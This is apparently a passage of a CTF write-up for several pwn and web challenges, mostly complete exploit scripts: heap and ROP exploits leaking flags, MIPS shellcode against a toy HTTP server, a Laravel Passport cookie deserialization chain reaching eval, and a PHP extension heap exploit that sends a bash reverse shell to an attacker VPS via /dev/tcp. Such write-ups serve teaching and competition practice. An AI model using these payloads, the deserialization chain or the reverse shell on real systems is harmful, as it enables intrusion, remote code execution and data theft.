c = code+p8(instr["nop"])*padding # align 8
push_count = len(c)/8
sc = (p8(instr["push"])+p8(1)+p64(0x21))*(0xf6-push_count)
for i in range(push_count-1,-1,-1):
sc += p8(instr["push"])+p8(1)+p64(u64(c[i*8:i*8+8]))
return sc
def main(host,port=6001):
global p
if host:
pass
else:
pass
# debug(0x000000000000F66)
flag = ''
for i in range(0x40):
p = remote(host,port)
code = p8(instr["mov"])+p8(8)+p8(0)+p8(9) # mov r0,rbp
code += p8(instr["add"])+p8(1)+p8(1)+p64(0x701) # add r1,0x701
code += p8(instr["sub"])+p8(1)+p8(0)+p64(0x808) # sub r0,0x800
code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 ; overwrite chunk size
code += p8(instr["alloc"])+p32(0x400) # alloc(0x400) ; free chunk
code += p8(instr["add"])+p8(1)+p8(0)+p64(8) # add r0,0x8
code += p8(instr["mov"])+p8(16)+p8(2)+p8(0) # mov r2,[r0]
code += p8(instr["sub"])+p8(1)+p8(2)+p64(0x3ec140) # sub r2,0x3ec140 ; r2 --> libc_base
code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2
code += p8(instr["add"])+p8(1)+p8(3)+p64(libc.symbols["__free_hook"])
# add r3,libc.symbols["__free_hook"]
code += p8(instr["mov"])+p8(8)+p8(4)+p8(2) # mov r4,r2
code += p8(instr["add"])+p8(1)+p8(4)+p64(libc.symbols["setcontext"]+0x35)
# add r4,libc.symbols["setcontext"]+0x35
code += p8(instr["mov"])+p8(32)+p8(3)+p8(4) # mov [r3],r4 ; overwrite chunk size
code += p8(instr["mov"])+p8(1)+p8(1)+p64(u64("/flag".ljust(8,"\x00")))
# mov r1,'/flag'
code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1
code += p8(instr["mov"])+p8(8)+p8(1)+p8(0) # mov r1,r0
code += p8(instr["add"])+p8(1)+p8(0)+p64(0x68) # add r0,0x68
code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rdi
code += p8(instr["add"])+p8(1)+p8(0)+p64(0x10) # add r0,0x10
code += p8(instr["add"])+p8(1)+p8(1)+p64(0x300) # add r1,0x300
code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rbp
code += p8(instr["add"])+p8(1)+p8(0)+p64(0x28) # add r0,0x28
code += p8(instr["add"])+p8(1)+p8(1)+p64(0xa8) # add r1,0x200
code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rsp
code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8
code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2
code += p8(instr["add"])+p8(1)+p8(3)+p64(0x439c8) # add r3,offset
code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3 # rcx
# 0x00000000000d3d8a: ret;
# 0x00000000000a17e0: pop rdi; ret;
# 0x00000000001306d9: pop rdx; pop rsi; ret;
# 0x00000000000439c8: pop rax; ret;
# 0x00000000000d2975: syscall; ret;
# 0x000000000002f128: mov rax, qword ptr [rsi + rax*8 + 0x80]; ret;
# 0x000000000012188f: mov rdi, rax; mov eax, 0x3c; syscall;
ret = 0x00000000000d3d8a
p_rdi = 0x00000000000a17e0
p_rdx_rsi = 0x00000000001306d9
p_rax = 0x00000000000439c8
syscall_ret = 0x00000000000d2975
buf = 0x3ec000
payload = [
ret,p_rax,2,p_rdx_rsi,0,0,syscall_ret,
p_rdi,0,p_rdx_rsi,0x80,buf,p_rax,0,syscall_ret,
p_rax,0,p_rdx_rsi,0,buf-0x80+i,0x2f128,0x12188f
]
code += p8(instr["mov"])+p8(8)+p8(0)+p8(1) # mov r0,r1
for value in payload:
if value < 0x100:
code += p8(instr["mov"])+p8(1)+p8(1)+p64(value) # mov r1,value
code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1
else:
code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2
code += p8(instr["add"])+p8(1)+p8(3)+p64(value) # add r3,offset
code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3
code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8
code += p8(instr["alloc"])+p32(0x200) # alloc(0x200) ; trigger free
code = push_code(code)
p.recvuntil("code: ")
p.send(code.ljust(0xf6d,p8(instr["nop"]))+p8(instr["jmp"])+p8(0xf1)+p8(instr["nop"])*0x90+'\xff')
p.recvuntil("code: ")
flag += chr(int(p.recv(),16))
info(flag)
p.close()
# pause()
if flag[-1] == '}':
break;
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
# elf = ELF("./easy_printf",checksec=False)
instr = {"add":0,"sub":1,"mul":2,"div":3,"mov":4,"jsr":5,"and":6,"xor":7,"or":8,"not":9,"push":10,"pop":11,"jmp":12,"alloc":13,"nop":14}
main(args['REMOTE'])
no_write
程序只允许我们使用open,read,exit和exit_group系统调用,没有write,所以我们得找到一种方法来泄露flag
首先是没有了write系统调用,我们不能进行泄露,但是我们可以用这个gadget来获得我们想要的libc地址:
.text:00000000004005E8 add [rbp-3Dh], ebx
.text:00000000004005EB nop dword ptr [rax+rax+00h]
rbp和ebx都是我们可控的
我们可以用栈迁移的方法把栈迁移到bss段上,接着调用__libc_start_main
使得bss段上残留下libc的地址,再利用上述的gadget,我们就可以达到任意call的目的
现在的问题就是怎么泄露flag了,这里我给出的一种方法是利用strncmp函数来一个个的比较flag
具体思路如下:
- 先open和read,把flag读取到bss段上
- 再把我们要爆破的一个字符输入到bss段的末尾(0x601FFFF)
- 接着调用strncmp(flag,0x601FFFF,2),如果我们上一步输入的字符和flag开头一样的话,程序就会
segment fault
,打远程的时候就表现为收到了EOF,因为strncmp正尝试读取0x602000处的内容 - 如果比较不正确,程序可以继续运行下去,我们可以在使程序多调用几次read来读取我们的输入,以此来和比较正确的情况进行区分
exp:
from pwn import *
import string
context.arch='amd64'
def ret_csu(func,arg1=0,arg2=0,arg3=0):
payload = ''
payload += p64(0)+p64(1)+p64(func)
payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0)
return payload
def main(host,port=2333):
# global p
# if host:
# p = remote(host,port)
# else:
# p = process("./no_write")
# gdb.attach(p,"b* 0x0000000004006E6")
# 0x0000000000400773 : pop rdi ; ret
# 0x0000000000400771 : pop rsi ; pop r15 ; ret
# .text:0000000000400544 call cs:__libc_start_main_ptr
# .text:00000000004005E8 add [rbp-3Dh], ebx
# .text:00000000004005EB nop dword ptr [rax+rax+00h]
# .text:00000000004005F0 rep retn
charset = '}{_'+string.digits+string.letters
flag = ''
for i in range(0x30):
for j in charset:
try:
p = remote(host,6000)
pppppp_ret = 0x00000000040076A
read_got = 0x000000000600FD8
call_libc_start_main = 0x000000000400544
p_rdi = 0x0000000000400773
p_rsi_r15 = 0x0000000000400771
# 03:0018| 0x601318 -> 0x7f6352629d80 (initial) <-0x0
offset = 0x267870 #initial - __strncmp_sse42
readn = 0x0000000004006BF
leave_tet = 0x00000000040070B
payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400)
payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet)
payload = payload.ljust(0x100,'\x00')
p.send(payload)
sleep(0.3)
payload = "\x00"*(0x100-0x50)
payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main)
payload = payload.ljust(0x400,'\x00')
p.send(payload)
sleep(0.3)
# 0x601318
payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8)
# 0x00000000000d2975: syscall; ret;
# 02:0010| 0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0
offset = 0x31dcb3 # __exit_funcs_lock - syscall
payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8)
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2)
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8)
# now we can cmp the flag one_by_one
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2)
payload += p64(0)*6
for _ in range(4):
payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)
payload = payload.ljust(0x3f8,'\x00')
payload += "flag\x00\x00\x00\x00"
p.send(payload)
sleep(0.3)
p.send("dd"+"d"*7+j)
sleep(0.5)
p.recv(timeout=0.5)
p.send("A"*0x100)
# info(j)
p.close()
# p.interactive()
except EOFError:
flag += j
info(flag)
if(j == '}'):
exit()
p.close()
# pause()
break
if __name__ == "__main__":
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
main(args["REMOTE"])
mginx
这题得给各位师傅道个歉,赛后我发现是可以getshell的,设置下execve的argv参数即可,比赛的时候说不能getshell导致做这题的师傅体验极其不好,实在是对不起各位师傅
mips64 大端序,没有去除符号表,打开Ghidra进行反编译,Ghidra反编译的结果还是相当可以的
程序逻辑也不是很复杂,就是一个超级简陋的http server,多调试调试就会发现下面代码里有一处栈溢出:
这个sStack4280就是我们的Content-Length
在加上body
的长度,如果我们设置Content-Length
为4095,body里在填入多个字节,那sStack4280就会超过0x1000,直接导致了栈溢出,以下是一个poc:
req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
req = req.ljust(0xf0,"A")
# pause()
p.send(req)
有了这个栈溢出,我们就可以劫持main函数的返回地址,程序没有开启PIE,而且数据段是可以执行的,但是远程的环境是开启了ASLR,所以我们得先绕过下ASLR
既然栈溢出了,首先想到的是ROP,但是这个程序没有多少可以用的gadget,所以ROP几乎不太行,可以考虑下栈迁移,我们先看下main函数返回时的几条指令:
我们可以控制ra,s8和gp,但是要跳到哪里呢,这时候没啥好办法了,只能都试试,我选择跳到了:
即开头处的那个read,我们可以把s8覆盖为数据段的地址,这样我们就可以把shellcode读入到data段,在利用main函数中的栈溢出把返回地址覆盖为数据段上shellcode的地址,这样我们不需要泄露任何地址就可以执行shellcode了
orw的exp:
#python exp.py REMOTE=124.156.129.96 DEBUG
from pwn import *
import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888):
global p
if host:
p = remote(host,port)
else:
# p = process(["qemu-mips64","-g","1234","./mginx"])
p = process(["qemu-mips64","./mginx"])
# gdb.attach(p)
#
req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
req = req.ljust(0xf0,"A")
# pause()
p.send(req)
# pause()
# orw
sc = "\x3c\x0d\x2f\x66\x35\xad\x6c\x61\xaf\xad\xff\xf8\x3c\x0d\x67\x00\xaf\xad\xff\xfc\x67\xa4\xff\xf8\x34\x05\xff\xff\x00\xa0\x28\x2a\x34\x02\x13\x8a\x01\x01\x01\x0c"
sc += "\x00\x40\x20\x25\x24\x06\x01\x00\x67\xa5\xff\x00\x34\x02\x13\x88\x01\x01\x01\x0c"
sc += "\x24\x04\x00\x01\x34\x02\x13\x89\x01\x01\x01\x0c"
payload = "A"*0xf30
payload += p64(0x000000012001a250)+p64(0x000000120012400)
# remain 0x179 byte
payload += p64(0x1200018c4)+"D"*(0x179-8)
p.send(payload)
p.recvuntil("404 Not Found :(",timeout=1)
# pause()
req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
req = req.ljust(0xf0,"\x00")
p.send(req)
# pause()
payload = "\x00"*0xa88
# fix the chunk
payload += p64(0) + p64(21)
payload += "\x00"*(0xf40-0xa98)
# remain 0x179 byte
payload += p64(0x00000001200134c0)
payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc))
p.send(payload)
try:
p.recvuntil("404 Not Found :(",timeout=1)
flag = p.recvuntil("}",timeout=1)
if flag != '' :
info(flag)
pause()
except:
p.close()
return
p.close()
if __name__ == "__main__":
for i in range(200):
try:
main(args['REMOTE'])
except:
continue
PS: 由于远程环境问题,得多跑几次脚本,不过几十次差不多了
结果:
getshell的exp:
from pwn import *
import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888):
global p
if host:
p = remote(host,port)
else:
# p = process(["qemu-mips64","-g","1234","./mginx"])
p = process(["qemu-mips64","./mginx"])
# gdb.attach(p)
#
req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
req = req.ljust(0xf0,"A")
p.send(req)
# pause()
# getshell
sc = "\x03\xa0\x28\x25\x64\xa5\xf3\x40"
sc += "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"
payload = "A"*0xf30
payload += p64(0x000000012001a250)+p64(0x000000120012400)
# remain 0x179 byte
payload += p64(0x1200018c4)+"D"*(0x179-8)
p.send(payload)
p.recvuntil("404 Not Found :(",timeout=1)
req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
req = req.ljust(0xf0,"\x00")
p.send(req)
payload = "\x00"*0x288
# argv_ 0x0000000120012800
argv_ = p64(0x120012820)+p64(0x120012828)+p64(0x120012830)+p64(0)
argv_ += "sh".ljust(8,'\x00')
argv_ += "-c".ljust(8,'\x00')
argv_ += "/bin/sh".ljust(8,'\x00')
payload += argv_
payload += "\x00"*(0x800 - len(argv_))
# fix the chunk
payload += p64(0) + p64(21)
payload += "\x00"*(0xf40-0xa98)
# remain 0x179 byte
payload += p64(0x00000001200134c0)
payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc))
p.send(payload)
try:
p.recvuntil("404 Not Found :(",timeout=1)
p.sendline("echo dididididi")
_ = p.recvuntil("didid",timeout=1)
if _ != '':
p.interactive()
except:
p.close()
return
p.close()
if __name__ == "__main__":
for i in range(200):
try:
main(args['REMOTE'])
except:
continue
# main(args['REMOTE'])
note
Step 1:get enough money
money初始值为0x996,size * 857 > money则⽆法申请,delete函数中有money += size的操作,所以
⾸先需要通过乘法溢出修改money的值为后续操作准备
Step 2:leak libc and heap
calloc函数申请 的是⼀个MMAP的chunk是不会执⾏memset清空操作的,⽽super_edit(choice 7)中是
存在堆溢出的,通过堆溢出修改mmap标志位为1 ,从⽽泄漏libc 和 heap
Step 3: tcache smashing unlink
通过edit函数中存在的off by null 实现unlink,进⽽tcache smashing unlink到malloc_hook上⽅,
super_buy(choice 6)会调⽤malloc,从⽽覆盖malloc_hook为onegadget
exp:
#coding:utf-8
from pwn import *
import hashlib
import sys,string
local = 1
# if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
# context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc_debug.so',checksec=False)
one = [0xe237f,0xe2383,0xe2386,0x106ef8]
if local:
p = process('./note_')
else:
p = remote("124.156.135.103",6004)
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
#print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def info(name,addr):
log.info(name + " --> %s",hex(addr))
def add(idx,size):
sla("Choice: ",'1')
sla("Index: ",str(idx))
sla("Size: ",str(size))
def delete(idx):
sla("Choice: ",'2')
sla("Index: ",str(idx))
def show(idx):
sla("Choice: ",'3')
sla("Index: ",str(idx))
def edit(idx,data):
sla("Choice: ",'4')
sla("Index: ",str(idx))
sla("Message: \n",data)
def super_edit(idx,data):
sla("Choice: ",'7')
sla("Index: ",str(idx))
sda("Message: \n",data)
def get_money():
sla("Choice: ",'1')
sla("Index: ",str(0))
sla("Size: ",'21524788884141834')
delete(0)
def super_buy(data):
sla("Choice: ",'6')
sla("name: \n",data)
# get enough money
get_money()
# leak heap and libc address
add(0,0x80)
add(1,0x500)
add(2,0x80)
delete(1)
add(1,0x600) #now 0x510 in largebin
pay = 0x88*b'\x00' + p64(0x510+1+2)
super_edit(0,pay) # overwrite is_mmap flag
add(3,0x500)
show(3)
rc(8)
# libc_base = u64(rc(8)) - 0x1eb010
libc_base = u64(rc(8)) - 0x1e50d0
heap_base = u64(rc(8)) - 0x320
malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
realloc = libc_base + libc.symbols['realloc']
onegadget = libc_base + one[3]
# fill tcache 0x90
delete(0)
delete(1)
delete(2)
for i in range(5):
add(0,0x80)
delete(0)
# fill tcache 0x60
for i in range(5):
add(0,0x50)
delete(0)
# fill tcache 0x230
for i in range(7):
add(0,0x220)
delete(0)
# set a 0x60 to smallbin
add(0,0x420)
add(1,0x10)
delete(0)
add(0,0x3c0)
add(2,0x60)
# null off by one to unlink
target = heap_base + 0x2220 #unlink target
pay = b''
pay += p64(0)
pay += p64(0x231)
pay += p64(target - 0x18)
pay += p64(target - 0x10)
pay += p64(target) #ptr
add(4,0x80)
edit(4,pay)
add(5,0x80)
edit(5,p64(heap_base+0x2190))
add(6,0x80)
add(7,0x80)
add(8,0x5f0) # will be freed and consolidate with topchunk
delete(7)
pay = 0x80*b'\x00' + p64(0x230)
add(7,0x88)
edit(7,pay)
delete(8) #unlink
add(8,0x220)
add(9,0x90)
delete(8)
add(8,0x1c0)
add(10,0x60)
pay = b'a'*0x20 + p64(0) + p64(0x61)
pay += p64(heap_base + 0x2090)
pay += p64(malloc_hook - 0x38)
edit(7,pay)
info("libc_base",libc_base)
info("heap_base",heap_base)
add(11,0x50)
pay = b'\x00'*0x20 + p64(onegadget) + p64(realloc+9)
super_buy(pay)
add(12,0x70)
p.interactive()
Best_PHP
Web 部分
- 注册后看 /home 提示访问 /file
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class HomeController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
/**
* Show the application dashboard.
*
* @return \Illuminate\Contracts\Support\Renderable
*/
public function index()
{
return view('home');
}
public function file(Request $request)
{
$file = $request->get('file');
if (!empty($file)) {
if (stripos($file, 'storage') === false) {
include $file;
}
} else {
return highlight_file('../app/Http/Controllers/HomeController.php', true);
}
}
public static function weak_func($code)
{
eval($code);
// try try phpinfo();
// scandir may help too
}
}
- ⽤ php 伪协议读 compose.json 发现有 passport,这个版本有反序列化
- 在 config/auth.php 对 api 启⽤了 passport
- pi 存在默认的 /api/user
- 此处的 user 会调⽤ vendor/laravel/passport/src/Guards/TokenGuard.php
public function user(Request $request)
{
if ($request->bearerToken()) {
return $this->authenticateViaBearerToken($request);
} elseif ($request->cookie(Passport::*cookie*())) {
return $this->authenticateViaCookie($request);
}
}
- 这⾥如果没有提供 jwt header 则会尝试⽤ authenticateViaCookie
protected function authenticateViaCookie($request)
{
try {
$token = $this->decodeJwtTokenCookie($request);
} catch (Exception $e) {
return;
}
if (! Passport::*$ignoreCsrfToken* && (! $this->validCsrf($token, $request)
||
time() >= $token['expiry'])) {
return;
}
if ($user = $this->provider->retrieveById($token['sub'])) {
return $user->withAccessToken(new TransientToken);
}
}
- decodeJwtTokenCookie 中调⽤ encryptor 的 decrypt,此处的 Passport::$unserializesCookies 为
true,https://github.com/laravel/passport/commit/5b47613083da2c61227f83f86d5d93c678c5d7
33,key 就是 APP_KEY
protected function decodeJwtTokenCookie($request)
{
return (array) JWT::*decode*(
$this->encrypter->decrypt($request->cookie(Passport::*cookie*()),
Passport::*$unserializesCookies*),
$this->encrypter->getKey(), ['HS256']
);
}
- vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php,这⾥解密成功会
unserialize
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$decrypted = \openssl_decrypt(
$payload['value'], $this->cipher, $this->key, 0, $iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}
- read
.env
forAPP_KEY
Laravel 5.6.38 exists known unserialize pop chain https://www.anquanke.com/post/id/184541
According to the Pop chain , exploit it by using HomeController::weak_func
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import hashlib
import hmac
import json
# pip install urllib3
from urllib.parse import unquote, quote
# pip install pycrypto
from Crypto import Random
from Crypto.Cipher import AES
def padding(s):
bs = AES.block_size
return s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
def unpadding(s):
return s[:-ord(s[len(s)-1:])]
def hash_hmac(algo, data, key):
res = hmac.new(key, data, algo).hexdigest()
return res
def encrypt(raw, key, iv=None):
raw = padding(raw)
if not iv:
iv = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return base64.b64encode(cipher.encrypt(raw)), base64.b64encode(iv)
def decrypt(enc, key, iv):
enc = base64.b64decode(enc)
iv = base64.b64decode(iv)
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpadding(cipher.decrypt(enc)).decode('utf-8')
def gen_laravel_token(data):
key = base64.b64decode(APP_KEY[7:])
iv = base64.b64decode("b2NoESUwLJAEO0f0hcR6EA==")
enc, iv = encrypt(data, key, iv)
_data = iv + enc
mac = hash_hmac("sha256", _data, key)
if isinstance(iv, bytes):
iv = iv.decode('utf-8')
if isinstance(enc, bytes):
enc = enc.decode("utf-8")
output = {
"iv": iv,
"value": enc,
"mac": mac
}
return base64.b64encode(json.dumps(output).encode())
APP_KEY = 'base64:Q2f3qQRCa3aShSORWj++xYOqgiYpTSBVKqJHPq1DSvI='
key = base64.b64decode(APP_KEY[7:])
php_command='App\Http\Controllers\HomeController::weak_func'
exp1 = '''O:40:"Illuminate\Broadcasting\PendingBroadcast":2:
{{s:9:"\x00*\x00events";O:15:"Faker\Generator":1:
{{s:13:"\x00*\x00formatters";a:1:{{s:8:"dispatch";s:{num_php_cmd}:"
{php_cmd}";}}}}s:8:"\x00*\x00event";s:{num}:"{cmd}";}}'''
cmd = 'phpinfo();'
data = exp1.format(num_php_cmd=len(php_command), php_cmd=php_command,
num=len(cmd), cmd=cmd)
laravel_token = gen_laravel_token(data)
print(laravel_token)
- 将 laravel_token 值作为 Cookie 的 laravel_token,访问 /api/user
GET /api/user HTTP/1.1
Host: localhost:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: application/json
Cookie:
laravel_token=eyJpdiI6ICJiMk5vRVNVd0xKQUVPMGYwaGNSNkVBPT0iLCAidmFsdWUiOiAiQml0Z
UU4ZGlkZTNNc0hpeUJKT3Nib1RaYVQxbDFKallZWk9BbjV5T21uSFlwR0FMelB4N09kVFlNRXlGSkJ6
Rk1LOGFjUTU5c0JlaENLbWs1V0FCaTZBZnoxcHU4c3lDV2RlVUYreS9uNFhVWitOcm5zSHZUSGdnbzh
0TDh4UzQweXcxRmJ6ZzNTNkowZmY5dU5SUW56S2IvTVJKdktJblJzT1RCenM5R2RhWlBkTU9qNDQzZW
YydnYvUy81L1pWK3dGckVGRmNaalN4T2Z0bG5yV25BRHRWakh2U2o0V3hMdTd1MmE4a0crb29PTC81Y
UR0eDRwSm9DdVFsSWtKVEtPd1c1YkY2cHFMUG9LNytZM3lvalU3WVRPWHlneFQ2WC8wSGZtd0ZBTHNi
bEdvV0l0NytoQ0JNaWNVeTF0U3EiLCAibWFjIjogIjYwNjM5ODVlMTM5NDMzZWRmYjY2ODg3YWU3YTM
5ZjE0ZWMyMTY1MzU2ZjYxOWZjOTdhODBkOWJjYTI1MzAwYmIifQ==
Cache-Control: no-cache
In phpinfo ,we can find my_ext extension
scandir('..')
发现php-my_ext-so-is-here-go-for-it
array(26) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(13) ".editorconfig"
[3]=>
string(4) ".env"
[4]=>
string(12) ".env.example"
[5]=>
string(14) ".gitattributes"
[6]=>
string(10) ".gitignore"
[7]=>
string(10) "Dockerfile"
[8]=>
string(3) "app"
[9]=>
string(7) "artisan"
[10]=>
string(9) "bootstrap"
[11]=>
string(13) "composer.json"
[12]=>
string(13) "composer.lock"
[13]=>
string(6) "config"
[14]=>
string(8) "database"
[15]=>
string(12) "package.json"
[16]=>
string(31) "php-my_ext-so-is-here-go-for-it"
[17]=>
string(11) "phpunit.xml"
[18]=>
string(6) "public"
[19]=>
string(9) "resources"
[20]=>
string(6) "routes"
[21]=>
string(10) "server.php"
[22]=>
string(7) "storage"
[23]=>
string(5) "tests"
[24]=>
string(6) "vendor"
[25]=>
string(14) "webpack.mix.js"
}
- 其中,可以从 Dockerfile 获取到 container 的 base 为 ubuntu:18.04
- 进⼀步 scandir 发现 php-my_ext-so-is-here-go-for-it 中有 my_ext.so
- ⽤ file 取得 my_ext.so 内容进⾏分析,进⼊⼆进制部分
pwn部分
因为有php代码的执⾏权限。所以分析扩展库中的函数,看⼀下有什么漏洞。
IDA直接搜索zif开头的函数名就可以找到⾃定义的扩展函数:
每个都打开看⼀看,很容易理解代码逻辑,其实就是菜单堆类型的pwn题⽬,功能⻬全。
只不过放到了php库⾥,需要写出php的exp来和服务端产⽣交互。
backdoor函数中,只要让__realloc_hook为⼀个固定值,那么就可以system执⾏任意代码
所以就要找到漏洞实现任意地址分配。漏洞发⽣在ttt_edit⾥,strcpy会造成末尾添\x00,产⽣off-by-null的问题:
然后做在1804下的off-by-null布局来进⾏libc的泄漏和任意地址的分配即可,这个都是基本套路,只不
过换到了php中,可能需要研究⼀下交互怎么做。
这⾥在利⽤的时候有⼏个需要注意的地⽅:
– 题⽬的环境是部署在apache上的,所以堆⻛⽔会有问题,也就是在我们执⾏我们的malloc之前,
arena⾥⾯已经放了不知道多少的各种各样的堆块。当然,题⽬的ttt_alloc⾥给的条换很宽松,所
以我们可以多次申请⼩堆块,来清除掉arena⾥的碎⽚。
– 漏洞是通过strcpy触发的,所以字符串不可以填\x00,那么写到想利⽤的位置,如改写size之后,
就会对其前⾯的内容进⾏破坏。所以不要忘记需要对它地址前⾯破坏的内容⽤strcpy进⾏不断的修
复,⽐如对prev_size的处理。
– 最后system执⾏的函数,这条命令是在服务端执⾏的,不同于我们做pwn的时候,不会直接把回
显弹给我们,所以这⾥需要执⾏反弹shell到vps上来进⾏最后的getshell。
– “bash -c ‘bash -i >/dev/tcp/{vps_ip}/{vps_port} 0>&1′”
exp:
<?php
function unpack64(&$str){
$pad = str_pad($str, 8, "\x00", STR_PAD_RIGHT);
$address = 0;
for($i=7; $i>=0; $i--){
$address |= ord($pad[$i]);
if($i != 0)
$address <<= 8;
}
return $address;
}
function pack64($numb){
$str = "";
while($numb !=0 ){
$str = $str.chr($numb&0xff);
$numb >>= 8;
}
$str = str_pad($str, 8, "\x00", STR_PAD_RIGHT);
return $str;
}
# help
# ttt_hint();
# clear fengshui
for($i=0; $i<500; $i++)
ttt_alloc(0, 0x8);
for($i=0; $i<10; $i++)
ttt_alloc(0, 0xf8);
# exploit
ttt_alloc(0, 0xf8);
ttt_alloc(1, 0x28);
ttt_alloc(2, 0x28);
# tcache
for($i=3; $i<10; $i++)
ttt_alloc($i, 0xf8);
ttt_alloc(10, 0x18);
ttt_alloc(11, 0xf8);
ttt_alloc(12, 0x20);
# fill in tcache
for($i=3; $i<10; $i++)
ttt_free($i);
# off by null next chunk size
# a fake prev_size
for($i=7; $i>0; $i--){
$payload = str_repeat("a", 0x11+$i);
ttt_edit($payload, 10);
}
$payload = str_repeat("a", 0x10)."\x80\x08";
ttt_edit($payload, 10);
# tcache
ttt_free(2);
# unsortedbin
ttt_free(0);
# trigger off by null, chunk overlap
ttt_free(11);
for($i=0; $i<8; $i++)
ttt_alloc(0, 0xf8);
$a = ttt_show(1);
$leak = unpack64($a);
$libc_base = $leak - 0x3ebca0;
$realloc_hook = $libc_base + 0x3ebc28;
echo "[+] leak address: 0x".dechex($leak). "\n";
echo "[+] libc base: 0x".dechex($libc_base). "\n";
echo "[+] realloc_hook address: 0x".dechex($realloc_hook). "\\";
# chunk overlap
ttt_alloc(2, 0xf8);
# heap overflow to change tcache->fd
# write arbitrary address
$payload = str_repeat("b", 0x30).pack64($realloc_hook);
ttt_edit($payload, 2);
for($i=7; $i>0; $i--){
$payload = str_repeat("c", 0x28+$i);
ttt_edit($payload, 2);
}
# chunk size
$payload = str_repeat("c", 0x28)."\x31";
ttt_edit($payload, 2);
# clear chunk prev_size
for($i=7; $i>=0; $i--){
$payload = str_repeat("d", 0x20+$i);
ttt_edit($payload, 2);
}
# backdoor
ttt_alloc(3, 0x28);
ttt_alloc(4, 0x28);
$payload = "tttpwnit";
ttt_edit($payload, 4);
# reverse shell
$cmd = "bash -c 'bash -i >/dev/tcp/{vps_ip}/{vps_port} 0>&1'";
#$cmd="ls";
ttt_edit($cmd, 2);
ttt_backdoor(2);
var_dump("breakpoint");
die("pwn it\\n");
?>
golang_interface
本题是受到google ctf 2019 finals中gomium的启发而写的
题目描述
https://golang-interface.rctf2020.rois.io
